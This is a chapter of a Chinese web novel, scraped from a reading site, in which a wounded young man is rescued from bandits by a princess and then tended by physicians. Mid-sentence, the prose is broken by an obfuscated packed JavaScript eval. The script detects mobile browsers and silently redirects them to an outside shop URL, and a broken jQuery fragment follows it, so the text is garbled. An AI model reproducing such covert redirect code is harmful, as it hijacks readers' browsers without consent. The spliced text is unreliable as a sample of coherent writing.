文趣网 > 都市小说 > 大师你是假道士吧? > 16. 斗笠少年
    硬生生挨了这一下,徐子序眼前发黑,大脑空白一片,有什么温热的东西顺着额角往下流。

    石大却没有停下来的意思,举起木椅一下又一下的朝着他砸了下去。

    面前这人打急了眼,徐子序闷头吐出一口血,微微抬眸,伸手接住了他再举起的木椅,却没接住他的力道。

    粗硬的实木板凳满是裂痕,边角带着毛刺,石大双臂发力挣脱开他的禁锢,将椅子高高抡起,挟着风声猛地落下。

    微微喘着气,徐子序身子发软,视线一片模糊,不甘心地随着木椅下落的动作一起倒地。

    虚弱地抬手捂脸,他想着死也死的体面点。

    “——大师!”

    预想中的痛感迟迟没有袭来,反倒是耳边陡然炸开一声叫喊,将他从虚妄拉回现实。

    徐子序吃力地掀了掀眼皮,入目便是石大举着木椅惊恐地张着嘴巴,视线下移至他的胸口处,那里赫然插着一根粗木棍。

    木棍不偏不倚地贯穿他的胸口,暗红的血沫顺着木身不停往下淌。

    江知岁快步跑到他身边,一脚踹开已经死透的石大,担忧地问:“你还能活吗?”

    面前的少女额前碎发杂乱,有汗珠顺着发丝不断滴落,平日里总喜欢弯着的眉眼此刻蹙得死紧,见他不回话还特意将手伸到他鼻尖下探了探鼻息。

    松了一口气,江知岁好看的眉眼平复下来:“你没死。”

    徐子序恍惚地看了她一会儿,突然扯出个笑道:“我死不了的,郡主放心。”

    “还能起来吗?”她抿唇问,“若是不能,我找个人过来背着你。”

    “……能。”

    借着她的力道慢吞吞站起,徐子序看着一屋的狼藉和外面排队而下的妇女幼童,目光怔了下。

    看出他的疑惑,江知岁解释道:“山寨是据村为寨,这些都是无辜的百姓。你伤这么重先回府吧,我将这些人安顿好再回去。”

    “——哦对,不要和我的陆老师打架嗷。”

    徐子序在听到前面那句时还若有所思,想感叹一句郡主真是个顶好的人,再听到后面那句蓦地嘴一撇,将头别过去闷声道:“知道了。”

    江知岁看他这样,没忍住伸手替他捋了捋遮眼的碎发,带点慈爱道:“回去吧。”

    身体一颤,他条件反射地后仰避开:“你!”

    “……我?我什么?”

    “……”

    “没什么。”徐子序闭了闭眼,垂在身侧的手指握紧又松开,半晌才道,“多谢郡主派人来救我,此番恩情,感激不尽。”

    “不用。”江知岁摇头,“本来是怕你在狼牙山出什么事所以才调暗卫来这里,没想到阴差阳错的还发现了山匪。”

    她背起手朝前走,摇头晃脑的:“这次也算我立功了呢。”

    被人搀扶着上了马车,临走之前,徐子序撩起车帘看她,犹豫了下问:“就我一个人,也值得郡主这么大动干戈么。”

    远处点点灯火昏昏摇曳,山风卷着凉意铺面而来。

    面前的少女一身鹅黄衣裙立在灯火之下,乌黑发间系着一条红色发带,微风一吹,那抹耀眼的红绸肆意翻飞,一下又一下地撞进他瞳孔里。

    江知岁眉眼弯成了月牙状,笑眯眯地道:“当然,生命宝贵,我不会放弃任何一个人,你也不要放弃你自己。”

    他一噎,不自然地垂眼道:“我没有放弃自己。”

    “我知道。”她后退一步看着前面的车马已经动身,朝他歪着脑袋摆了摆手道,“以后再遇到危险的时候,就喊郡主吧,郡主会来救你的。”

    徐子序抿了抿唇,刚想说什么,眼前的少女却没给他这个机会,率先开口:“快点回去吧,子序大师。”

    骤然抬眼,徐子序猛地出声:“你,你知道我……”

    “册子在赵老师那里呢,我很难不知道吧?”上前一步将车帘拉上,她道,“好了,你再不走血都要流干净了。”

    ……

    村子原本依山而建,世代村民依山耕种,可自一伙不知从哪来的山匪占山落脚,这里就成了人间炼狱。

    匪徒凶悍蛮横,屠青壮杀幼童,掳妇孺为寨中奴仆,日日劳作受辱。

    先下令斩杀行凶反抗的恶匪,将无重罪的喽啰捆起由暗卫看守,江知岁亲力亲为地安顿好受难百姓并登记身份,清点封存山寨赃物,拆毁各处囚牢陷阱。

    同时分派人手,一路去县城通报县令前来接手人犯与流民,一路快马入京向皇上禀报此事,做完这一切已经是次日寅时,她抬头看了看灰蒙蒙的天,想着还有两个时辰左右自己要去学宫了。

    ……罢了,先回府里吧。

    一宿未眠,江知岁精神尚可,甚至还有精力关心关心陆老师怎么样。

    相比于徐子序的伤势严重,陆元羡这边已经稳定下来,生命暂时没有危险,但后背的伤痛还是不断刺激着他的神经。

    虚弱地趴在床上,他抬眼看了看四周,有气无力地道:“有人么?”

    “奴婢在。”从外屋走进来个侍女朝他行礼,“陆公子,奴婢这就去为您请大夫来。”

    摇了摇头,他沙哑着嗓子:“我没事……你们郡主呢?”

    “郡主有事要处理,您有什么事吩咐奴婢就行。”她恭敬颔首。

    ……有事要处理?

    陆元羡撑着床板坐起,微眯了眯眼看向窗外:“什么动静?”

    漆黑的夜里伴随着急促的脚步声,还有大夫焦急地吼叫:“白及呢,快拿白及来!这孩子要撑不住了!”

    这深更半夜的,怎么会有吵闹声?

    抿了抿唇,他担忧地问:“郡主受伤了?”

    侍女摇了摇头,答得滴水不漏:“奴婢一直在外屋守着,不知道府内的事情。”

    那就不是她。

    原本焦灼的双眼陡然变得清醒,陆元羡不动声色地瞥了眼窗外,轻声道:“知道了,你先下去吧——若是郡主回来了,劳烦通知我一声。”

    侍女颔首:“是。”

    受伤的人不是她,并且她应该也不在府内。

    指尖摩挲着柔软的床铺,陆元羡垂眼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17836309|211437||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    盯着手心,一股慌乱涌上心头。

    江知岁现在正在快马赶回京的路上。

    猛地打了个喷嚏,她揉了揉鼻尖,问一旁的青禾:“陆老师没事了?”

    青禾想了想:“奴婢出来的时候,陆公子已经有了要醒的迹象,现在估摸着应该已经醒了。”

    醒了?

    那就是陆老师刚才在想她。

    江知岁很开心,又有点不放心:“派人看着他了吧?”

    “派人看着呢。”青禾乖乖地道,“郡主不用担心,下人们的回话已经打点好了。”

    “那就好。”她满意点头。

    ·

    陆元羡那里虽然没什么大事了,但江知岁回到府邸的时候还是想去看看他。

    快卯时的郡主府里,天色蒙着一层灰雾,庭间草木凝着晨露,灯光微弱,整座院落静悄悄的。

    前脚刚踏进春晖堂,后脚一旁的汀兰水榭里急急忙忙跑出个大夫,喘着粗气道:“郡,郡主,您派人送回来的那个少年情况实在不容乐观,还得请您过去看看。”

    大师?

    脚步一顿,江知岁皱眉看向他:“怎么了,别急,慢慢说。”

    大夫一边引着她朝旁走一边道:“他伤的太重,原本送回来的时候身子就已经快不行了,但这孩子坚强,硬生生的凭着一口气撑到现在。”

    外表看着白白净净的少年,解开衣襟里面旧疤新伤纵横交错爬满脊背,新撕裂的伤口翻着红肉,渗出的血混着干涸的血痂死死黏住衣料,稍一动便牵扯出新的血迹,狰狞可怖。

    按理说受了这么多伤还能活到现在,这幅身子的底子是不错的。

    但怪也怪在这儿,这人心里似乎有很多郁结,沉甸甸的堵在胸口处,像巨浪的波涛一样死死卷着他坠入黑暗。

    “他想活,又不想活。”大夫捋了捋胡子,叹气道,“老夫从业六十年,从来没见过和他一样的症状。”

    跟着踏进屋门,江知岁听到这话时倏地愣住。

    ——郡主不用担心我,我从小到大受的伤可多了,连腿都断过。

    耳边响起他在杂屋说的那句话,当时只当玩笑的一句话,没想到居然是真的。

    有点不是滋味,江知岁跟着他走到暖阁前。

    床边围着四五个大夫,一盆又一盆的血水被端了出去,床上那人依旧不见要醒的迹象,惨白着一张脸,五官委屈地皱在一起,看着可怜极了。

    抿了抿唇,她问:“现在怎么样?”

    “不是很乐观。”捏着银针的大夫抬袖擦了擦额头的汗,“得想办法让他从痛苦中缓过来,如果再这样下去,怕是要气血闭阻,长久的醒不过来了。”

    这么严重?

    她有些紧张地问:“让他醒过来,医药医不好他么?”

    “可以是可以。”站在她身侧的大夫开了口,“古书里记载,有一汤药叫通魂生息汤,功效便是疏通体内淤血郁结,滋养气血,安魂归窍。”

    “但,这配伍很难寻,老夫这只有白及和琥珀,还需雪莲和乳香才能制成。”